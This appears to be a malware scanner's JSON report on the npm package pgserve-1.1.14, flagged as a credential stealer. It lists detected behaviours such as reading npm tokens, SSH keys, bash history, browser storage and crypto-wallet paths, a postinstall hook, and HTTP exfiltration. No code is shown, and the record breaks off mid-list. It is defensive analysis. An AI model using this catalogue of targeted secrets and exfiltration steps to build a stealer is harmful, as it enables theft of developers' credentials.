{
  "llm": {
    "conf": 0.9933,
    "grade": "hostile",
    "model": "Qwen/Qwen3.8-27B",
    "outcome": "hostile",
    "interpretation": "Credential stealer with exfiltration"
  },
  "ml": {
    "v": "7",
    "eng": "2.8.0",
    "lvl": 12,
    "conf": 93,
    "mods": [
      {
        "cls": 0,
        "raw": 0.9933559,
        "rte": "az",
        "prob": 0.9933559
      },
      {
        "cls": 0,
        "raw": 0.99539673,
        "rte": "az/npm",
        "prob": 0.99539673
      }
    ],
    "prob": 0.99,
    "files": [
      {
        "id": 0,
        "lvl": 12,
        "conf": 93,
        "prob": 0.9900000095367432,
        "type": "npm"
      },
      {
        "id": 3,
        "lvl": 85,
        "conf": 86,
        "prob": 1.0,
        "type": "javascript"
      },
      {
        "id": 4,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007808208465576172,
        "type": "javascript"
      },
      {
        "id": 5,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000013728936210100073,
        "type": "javascript"
      },
      {
        "id": 6,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000064373016357421875,
        "type": "javascript"
      },
      {
        "id": 7,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000009854634299699683,
        "type": "javascript"
      },
      {
        "id": 8,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000005245208740234375,
        "type": "javascript"
      },
      {
        "id": 9,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006804863460274646,
        "type": "javascript"
      },
      {
        "id": 10,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008046627044677734,
        "type": "javascript"
      },
      {
        "id": 11,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000807642936706543,
        "type": "javascript"
      },
      {
        "id": 12,
        "lvl": 25,
        "conf": 92,
        "prob": 0.9800000190734863,
        "type": "javascript"
      },
      {
        "id": 13,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008086363777692895,
        "type": "javascript"
      },
      {
        "id": 14,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000095367431640625,
        "type": "javascript"
      },
      {
        "id": 15,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007063150405883789,
        "type": "javascript"
      },
      {
        "id": 16,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00001097718904929934,
        "type": "javascript"
      },
      {
        "id": 17,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000010152657523576636,
        "type": "javascript"
      },
      {
        "id": 18,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006298223979683826,
        "type": "javascript"
      },
      {
        "id": 19,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000005503495685843518,
        "type": "javascript"
      },
      {
        "id": 20,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006596247203560779,
        "type": "javascript"
      },
      {
        "id": 21,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008304913535539526,
        "type": "javascript"
      },
      {
        "id": 23,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007351239673880627,
        "type": "javascript"
      },
      {
        "id": 24,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008811553016130347,
        "type": "javascript"
      },
      {
        "id": 26,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006159146778372815,
        "type": "javascript"
      },
      {
        "id": 27,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008632739081804175,
        "type": "javascript"
      },
      {
        "id": 28,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007877747520979028,
        "type": "javascript"
      },
      {
        "id": 29,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000062684216572961304,
        "type": "javascript"
      },
      {
        "id": 30,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000011960665688093286,
        "type": "javascript"
      },
      {
        "id": 31,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007291635029105237,
        "type": "javascript"
      },
      {
        "id": 32,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000014603137969970703,
        "type": "javascript"
      },
      {
        "id": 33,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007321437351492932,
        "type": "javascript"
      },
      {
        "id": 34,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000005990266799926758,
        "type": "javascript"
      },
      {
        "id": 35,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000063081583903112914,
        "type": "javascript"
      },
      {
        "id": 36,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006844600193289807,
        "type": "javascript"
      },
      {
        "id": 37,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000099639100881177,
        "type": "javascript"
      },
      {
        "id": 38,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008285045623779297,
        "type": "javascript"
      },
      {
        "id": 39,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000904997159523191,
        "type": "javascript"
      },
      {
        "id": 40,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008891026482160669,
        "type": "javascript"
      },
      {
        "id": 41,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006496906280517578,
        "type": "javascript"
      },
      {
        "id": 42,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000057021775319299195,
        "type": "javascript"
      },
      {
        "id": 43,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008761882781982422,
        "type": "javascript"
      },
      {
        "id": 44,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000066558518483361695,
        "type": "javascript"
      },
      {
        "id": 45,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007569789886474609,
        "type": "javascript"
      },
      {
        "id": 46,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008453925147478003,
        "type": "javascript"
      },
      {
        "id": 48,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000014056761756364722,
        "type": "package.json"
      },
      {
        "id": 53,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000005910793788643787,
        "type": "markdown"
      },
      {
        "id": 54,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006367763035086682,
        "type": "markdown"
      },
      {
        "id": 55,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000070830187723913696,
        "type": "markdown"
      },
      {
        "id": 66,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000037550926208496094,
        "type": "markdown"
      },
      {
        "id": 76,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006278356067923596,
        "type": "markdown"
      },
      {
        "id": 78,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006884336471557617,
        "type": "markdown"
      },
      {
        "id": 97,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006864468105050037,
        "type": "markdown"
      },
      {
        "id": 107,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006665786258963635,
        "type": "markdown"
      },
      {
        "id": 111,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000060896077229699586,
        "type": "markdown"
      },
      {
        "id": 118,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006924072749825427,
        "type": "markdown"
      },
      {
        "id": 119,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006735324859619141,
        "type": "markdown"
      },
      {
        "id": 121,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006586313247680664,
        "type": "markdown"
      },
      {
        "id": 127,
        "lvl": -1,
        "conf": 0,
        "prob": 0.0000070432820393762086,
        "type": "markdown"
      },
      {
        "id": 130,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006467103958129883,
        "type": "markdown"
      },
      {
        "id": 134,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000667572021484375,
        "type": "markdown"
      },
      {
        "id": 138,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007202228061942151,
        "type": "markdown"
      },
      {
        "id": 142,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006397565357474377,
        "type": "markdown"
      },
      {
        "id": 148,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000622868537902832,
        "type": "markdown"
      },
      {
        "id": 152,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000618894910076051,
        "type": "markdown"
      },
      {
        "id": 163,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006934007160452893,
        "type": "markdown"
      },
      {
        "id": 165,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006407499313354492,
        "type": "markdown"
      },
      {
        "id": 168,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006457170002249768,
        "type": "markdown"
      },
      {
        "id": 176,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00001004338264465332,
        "type": "shell"
      },
      {
        "id": 177,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000009646018042985816,
        "type": "shell"
      },
      {
        "id": 178,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000008811553016130347,
        "type": "github_actions"
      },
      {
        "id": 179,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007192293651314685,
        "type": "github_actions"
      },
      {
        "id": 180,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000011175870895385742,
        "type": "github_actions"
      },
      {
        "id": 181,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000714262341716676,
        "type": "registry"
      },
      {
        "id": 182,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007102886684151599,
        "type": "registry"
      },
      {
        "id": 183,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007102886684151599,
        "type": "registry"
      },
      {
        "id": 184,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007102886684151599,
        "type": "registry"
      },
      {
        "id": 185,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000007102886684151599,
        "type": "registry"
      },
      {
        "id": 186,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000714262341716676,
        "type": "registry"
      },
      {
        "id": 187,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006854534149169922,
        "type": "registry"
      },
      {
        "id": 188,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006854534149169922,
        "type": "registry"
      },
      {
        "id": 189,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000714262341716676,
        "type": "registry"
      },
      {
        "id": 190,
        "lvl": -1,
        "conf": 0,
        "prob": 0.000006854534149169922,
        "type": "registry"
      },
      {
        "id": 191,
        "lvl": -1,
        "conf": 0,
        "prob": 0.00000714262341716676,
        "type": "registry"
      }
    ],
    "version": "v18.18",
    "analyzed_at": "2026-09-05T09:04:46Z"
  },
  "path": "pgserve-1.1.14.tgz",
  "raw": {
    "fetched": [
      {
        "kind": "dependency",
        "cached": true,
        "locator": "pkg:npm/bun",
        "outcome": "skipped",
        "fetched_at": 1788599085,
        "source_offset": 300,
        "source_sha256": "7acc5382d460b9a8bc1ddc0c67dbe988dccad3cce0de37049a06048d00c9f876",
        "content_sha256": "7698da795176a152afe8536688ccc589de34adf0587f406b5f903dd18db24d41"
      },
      {
        "kind": "dependency",
        "cached": true,
        "locator": "pkg:github/actions/checkout@v4",
        "outcome": "skipped",
        "fetched_at": 1788599086,
        "source_offset": 1472,
        "source_sha256": "d5f4d9d607087de6614f71e6b5d445f1ec47d2ea4e472c6d5aa0a86e94c01d46",
        "content_sha256": "0a0a18686b267a08fefb74882381768a531e9acd3eebcd577583b0d5159247dd"
      },
      {
        "kind": "dependency",
        "size": 1902375,
        "cached": false,
        "status": 200,
        "headers": [
          [
            "access-control-allow-origin",
            "https://render.githubusercontent.com"
          ],
          [
            "content-disposition",
            "attachment; filename=setup-node-4.tar.gz"
          ],
          [
            "content-security-policy",
            "default-src 'none'; style-src 'unsafe-inline'; sandbox"
          ],
          [
            "content-type",
            "application/x-gzip"
          ],
          [
            "cross-origin-resource-policy",
            "cross-origin"
          ],
          [
            "etag",
            "\"e8114a228cdba11c3a6ff49573f6522250ccce42af034905d92a23e3841448ab\""
          ],
          [
            "strict-transport-security",
            "max-age=31536000"
          ],
          [
            "vary",
            "Authorization,Accept-Encoding"
          ],
          [
            "x-content-type-options",
            "nosniff"
          ],
          [
            "x-frame-options",
            "deny"
          ],
          [
            "x-xss-protection",
            "1; mode=block"
          ],
          [
            "date",
            "Sat, 05 Sep 2026 09:04:45 GMT"
          ],
          [
            "transfer-encoding",
            "chunked"
          ],
          [
            "x-github-request-id",
            "8380:D16E0:C16A0:26C0CA:6A9BDB2D"
          ],
          [
            "x-github-edge-region",
            "iad"
          ]
        ],
        "locator": "pkg:github/actions/setup-node@v4",
        "outcome": "ok",
        "final_url": "https://codeload.github.com/actions/setup-node/tar.gz/v4",
        "fetched_at": 1788599086,
        "resolved_url": "https://codeload.github.com/actions/setup-node/tar.gz/v4",
        "source_offset": 3772,
        "source_sha256": "d5f4d9d607087de6614f71e6b5d445f1ec47d2ea4e472c6d5aa0a86e94c01d46",
        "content_sha256": "86f4eb816add6572cf7fa0cc23ef71735c658939173633b41313d71b903873d5"
      },
      {
        "kind": "dependency",
        "cached": true,
        "locator": "pkg:github/softprops/action-gh-release@v2",
        "outcome": "skipped",
        "fetched_at": 1788599086,
        "source_offset": 4524,
        "source_sha256": "794911a0ae03487fb8f3f62f8fbcf3a35470a6ff76e59dcb39e89c62476c5305",
        "content_sha256": "a906a45ffcc25d5ccccf420d949be975831a5c38282d981f3107c6df84007040"
      }
    ],
    "files": [
      {
        "id": 0,
        "ctx": [
          {
            "b": "abZy8000000@}S2/]\u003ex0K%5tVONojEEn@kj(sIwd1#zELT\u0026u9a5zOc?Fb\u0026emKig1z3JZYYXDZ:qVvm)C*iLPJSwf*Gg=zT+p%m#eg}#%NaBO\u003c%@tU!xaJPI=tdNvjx(${I:G$:k\u003cgCg\u003epB{Z}N7X0UAcvfrwmEY+Z/Z/v=fOkPyYtUK}FZUB+LAjUEurKBPa)gLl\u0026MNvF{9rE%m!)iPmuAU{{YeGcl37fz^!\u003e0fbKP+1nRYOXW]bF]mLvD(eV]y\u003cip{eiSmQ)Tw#G]idR.]A}Trk/)t*QD6\u0026(TWlC4xX+fHBj*3ZphUPmm)q!YH-li1g![hwBZiG)mjG=c8-B=1ujgR9*w3m?(?o5]DiM(GF%iYHKBf\u003e4^Zw",
            "ln": 0
          },
          {
            "b": "Y\u003cgNp{hu[W}BeO.^z1M-{bua\u003e-2Ez^bMPMk}Qcz43nqd}=YTzOEY*e7}(x-Tz1@RXHnYcnak:*2MFn/af@/UJcW:dYY=X@EIvYA%pXWJ/qr8l2miJ6Rr8B1GO1$Q6z\u0026SlT\u0026\u003eV-b2W.N4FaZpzpS#cii-/Rjez@i?BU+So}/Z@+{?}MPV!@nF+kSUe\u003eVcc3{da-pUY3[+]B.9PyLh{jW[v:BgTD2T*$I?uEFV6y-e7oF]cNl4\u003e9$ev@0P(v2s]Qfg[l$o?m@^UZYf{DDh%FXCxOiwXEFWOZNFw.QA$/]R?\u003e.*oczBA]vU{Ea\u003eb[3cLHT/^bkfp5Lj\u003e921z%pppV2^31\u003ebwqgGj{6JubQ@)4^ooM?7EM*DBH{gI[uXlI:QcNWY5@6g7nD\u0026)uY!EAgo.mQ1DDRe]s)8d48z:l\u003e?FHl1#^c6!2t?W@*x*8v7h^n$Sq[z\u003csa\u003e.X/fObb-RYG^r+{u??5IXP)?cQNi*o?#flHDi=F:FUH\u003c)wbtz*)o68lzQ@[j\u0026t=DJaF{*e]Ls:BBGL/@$Cz%m?9y[bBmd@-cgBy*X*\u003eeD",
            "ln": 2326
          }
        ],
        "mol": "K₃(AmLiTe)O₇(Ca₁₁Eu₅S₆CoDy₄PXe)H₈(F₃₂Cm₃₂Cr₁₀Db₂₄Os₁₆Po₂₀Ti₂U₃)Md₆(Bk₅InLiPa₇)",
        "sha": "cc521bddd2e6f49623e033129ae3df28dc175ae1a5cfeb5aeb88097ee7cce8c2",
        "path": "pgserve-1.1.14.tgz",
        "refs": [
          {
            "to": "pkg:github/namastexlabs/pgserve",
            "off": 0,
            "kind": "repository"
          }
        ],
        "risk": 808,
        "size": 564576,
        "type": "npm",
        "facts": {
          "metrics": {
            "file": {
              "size": 564576,
              "entropy": 8
            },
            "parse": {
              "error_count": 1
            },
            "binary": {
              "peak_region_bytes": 564224,
              "peak_region_entropy": 7.85
            },
            "consistency": {
              "self_dependency": 0,
              "name_repo_mismatch": 0,
              "unused_runtime_deps": 0
            }
          }
        },
        "ident": {
          "name": {
            "value": "pgserve",
            "source": "npm.name",
            "verified": false
          },
          "urls": [
            {
              "url": "https://github.com/namastexlabs/pgserve.git",
              "kind": "repository",
              "source": "npm.repository.url"
            },
            {
              "url": "https://github.com/namastexlabs/pgserve#readme",
              "kind": "homepage",
              "source": "npm.homepage"
            }
          ],
          "trust": "unsigned",
          "emails": [
            "labs@namastex.com"
          ],
          "authors": [
            {
              "name": "Namastex Labs",
              "role": "author",
              "email": "labs@namastex.com",
              "source": "npm.author"
            }
          ],
          "version": {
            "value": "1.1.14",
            "source": "npm.version",
            "verified": false
          },
          "identifier": {
            "value": "pgserve",
            "source": "npm.name",
            "verified": false
          }
        },
        "traits": [
          {
            "id": "objectives/exfiltration/stealer/credential/multi-source::node-dynamic-credential-list-http-exfil",
            "atk": "T1552.001, T1552.004, T1041",
            "mbc": "E1552, E1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Node sends dynamically collected developer credentials over HTTP",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              260,
              287,
              464,
              472
            ]
          },
          {
            "id": "micro-behaviors/communications/http/client/response-body::fetch-response-body-read",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript fetch reads response body",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "metadata/library/structure::js-any-bundle-output",
            "conf": 0.95,
            "crit": 2,
            "desc": "Contains bundled or minified JavaScript",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              388
            ]
          },
          {
            "id": "objectives/supply-chain/install-hook/scripts/lifecycle::postinstall-hook-declaration",
            "atk": "T1195.002",
            "conf": 0.96,
            "crit": 3,
            "desc": "Package declares a postinstall hook"
          },
          {
            "id": "micro-behaviors/fs/path/construct::javascript-local-path",
            "conf": 0.7,
            "crit": 2,
            "desc": "JavaScript constructs a local script path",
            "from": [
              {
                "file": 3
              },
              {
                "off": 3030,
                "file": 5,
                "line": 70
              },
              {
                "file": 6
              },
              {
                "file": 12
              }
            ],
            "uses": [
              155,
              366
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::fs-readdir",
            "conf": 0.6,
            "crit": 3,
            "desc": "Calls Node.js readdir at least twice",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::rm-force-variable-target",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 3,
            "desc": "Force-deletes a shell variable target",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/temp/directory::node-mkdtemp-os-tmpdir",
            "conf": 0.88,
            "crit": 3,
            "desc": "Creates a randomized temp staging directory",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-read-api-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls JavaScript readFile API",
            "from": [
              {
                "file": 38
              }
            ]
          },
          {
            "id": "objectives/credential-access/theft/keywords::password-upper",
            "conf": 0.45,
            "crit": 1,
            "desc": "PASSWORD credential label",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/console/io::encoded-dev-null-redirect",
            "conf": 0.85,
            "crit": 3,
            "desc": "Encoded /dev/null output redirection",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::require-cwd-package-json",
            "conf": 0.84,
            "crit": 3,
            "desc": "Loads package.json from current working directory",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              139,
              239,
              294,
              471
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js child_process execution",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              254
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::cjs-require-in-try-fallback",
            "conf": 0.9,
            "crit": 3,
            "desc": "CommonJS require inside try fallback",
            "from": [
              {
                "file": 7
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/socket/port::named-port-literal-assignments",
            "conf": 0.88,
            "crit": 3,
            "desc": "Port-named fields carry numeric endpoints",
            "from": [
              {
                "file": 27
              }
            ]
          },
          {
            "id": "micro-behaviors/process/exit/terminate::js-process-on-exit-hook",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node process exit hook registered",
            "from": [
              {
                "file": 39
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response::node-response-end-event",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node response end event handler",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/ssh::bash-history-artifact",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bash history artifact path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "well-known/lib/network/registry-auth-token::auth-token-key",
            "conf": 0.99,
            "crit": 3,
            "desc": "npm _authToken config key",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table--rx-12",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Terraform or RSA/DSA SSH-key path literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::base64-decode-call-text",
            "conf": 0.86,
            "crit": 3,
            "desc": "JavaScript invokes a Base64 decoder",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/build/ci/secret::node-auth-token-secret",
            "conf": 0.9,
            "crit": 3,
            "desc": "NODE_AUTH_TOKEN Actions secret binding"
          },
          {
            "id": "objectives/discovery/system/fingerprint/user::node-host-user-query",
            "atk": "T1033,T1082",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node queries host and user identity",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              47,
              268
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::raw-content-length-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets an HTTP Content-Length header",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/config::claude-config-directory",
            "conf": 0.9,
            "crit": 3,
            "desc": "Claude Code config directory path",
            "from": [
              {
                "file": 53
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http-request-stream-body",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node HTTP request writes body",
            "from": [
              {
                "off": 17407,
                "file": 12,
                "line": 486
              }
            ],
            "uses": [
              135,
              464,
              480
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-arbitrary",
            "conf": 0.66,
            "crit": 3,
            "desc": "Access /proc for arbitrary PIDs",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/exec::node-promisified-exec",
            "atk": "T1059",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node promisifies the shell exec API",
            "from": [
              {
                "file": 9
              }
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::wallet-extension",
            "atk": "T1555",
            "mbc": "B0024",
            "conf": 0.85,
            "crit": 3,
            "desc": "Cryptocurrency wallet path extension",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::github-actions-flag",
            "conf": 0.85,
            "crit": 3,
            "desc": "GITHUB_ACTIONS runtime flag",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::credential-file-path-segment",
            "atk": "T1005,T1083",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential-like path segment"
          },
          {
            "id": "objectives/credential-access/files/config::credential-path-table",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Credential path table in source",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              19,
              62,
              411,
              452
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-command-variable",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.94,
            "crit": 3,
            "desc": "Node child_process exec receives a command-named variable",
            "from": [
              {
                "file": 6
              }
            ],
            "uses": [
              66,
              274
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::package-or-netrc-credential-file",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Package or netrc credential file reference",
            "from": [
              {
                "off": 32571,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              147,
              330
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::buffer-from-base64",
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 decoding via Buffer.from (JS)",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/discovery/system/fingerprint/user::node-host-user-query-pair",
            "atk": "T1033",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node queries hostname and username",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::host-identity-query",
            "conf": 0.86,
            "crit": 3,
            "desc": "Queries a host identity value",
            "from": [
              {
                "off": 32320,
                "file": 12,
                "line": 896
              }
            ],
            "uses": [
              358
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-cwd-call",
            "conf": 0.7,
            "crit": 2,
            "desc": "process.cwd() call",
            "from": [
              {
                "file": 9
              }
            ]
          },
          {
            "id": "objectives/credential-access/theft/keywords::credential-label-upper",
            "conf": 0.9,
            "crit": 1,
            "desc": "Uppercase credential label",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              },
              {
                "file": 13
              }
            ],
            "uses": [
              9,
              337
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::absolute-home-hidden-path",
            "conf": 0.9,
            "crit": 3,
            "desc": "References absolute hidden home path",
            "from": [
              {
                "file": 29
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-darwin-branch",
            "conf": 0.7,
            "crit": 2,
            "desc": "Branches on macOS platform value",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::chromium-leveldb-local-storage",
            "conf": 0.86,
            "crit": 3,
            "desc": "Chromium Local Storage LevelDB path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::traverse-readdir-walk-find",
            "conf": 0.85,
            "crit": 2,
            "desc": "Traverses directories using common APIs",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-credential-name-filter",
            "conf": 0.92,
            "crit": 3,
            "desc": "Python accesses credential-named environment entries",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              305
            ]
          },
          {
            "id": "micro-behaviors/communications/http/download/curl::node-execsync-curl-download",
            "atk": "T1105",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node execSync invokes curl download",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "metadata/build/pip::packaging-setuptools-import",
            "conf": 0.95,
            "crit": 3,
            "desc": "setuptools packaging import"
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http-post-json-body",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node HTTP request posts a JSON body",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              25,
              472
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::os-hostname-call",
            "atk": "T1082",
            "conf": 0.75,
            "crit": 3,
            "desc": "os.hostname() call",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-alias-items-password-marker",
            "conf": 0.92,
            "crit": 3,
            "desc": "Aliased env iteration uses password markers"
          },
          {
            "id": "micro-behaviors/data/string/concat::leading-variable-dotted-name",
            "conf": 0.9,
            "crit": 3,
            "desc": "Dotted name built from a leading variable",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-ci",
            "conf": 0.75,
            "crit": 3,
            "desc": "Reads CI environment flag",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/git::github-actions-git-push",
            "conf": 0.9,
            "crit": 3,
            "desc": "GitHub Actions pushes a git ref"
          },
          {
            "id": "micro-behaviors/data/encode/base64::tostring-base64",
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 encoding via toString (JS)",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/supply-chain/credential-theft/registry::js-env-home-cred-npmrc",
            "atk": "T1552.001",
            "conf": 0.85,
            "crit": 1,
            "desc": "npmrc credential path marker",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/crypto::node-user-solana-config-directory",
            "conf": 0.94,
            "crit": 3,
            "desc": "References user Solana config directory",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-version-access",
            "conf": 0.72,
            "crit": 3,
            "desc": "Reads Node.js version through process.version",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::fs-copyfileSync",
            "conf": 0.75,
            "crit": 3,
            "desc": "Copy file sync (fs.copyFileSync)",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
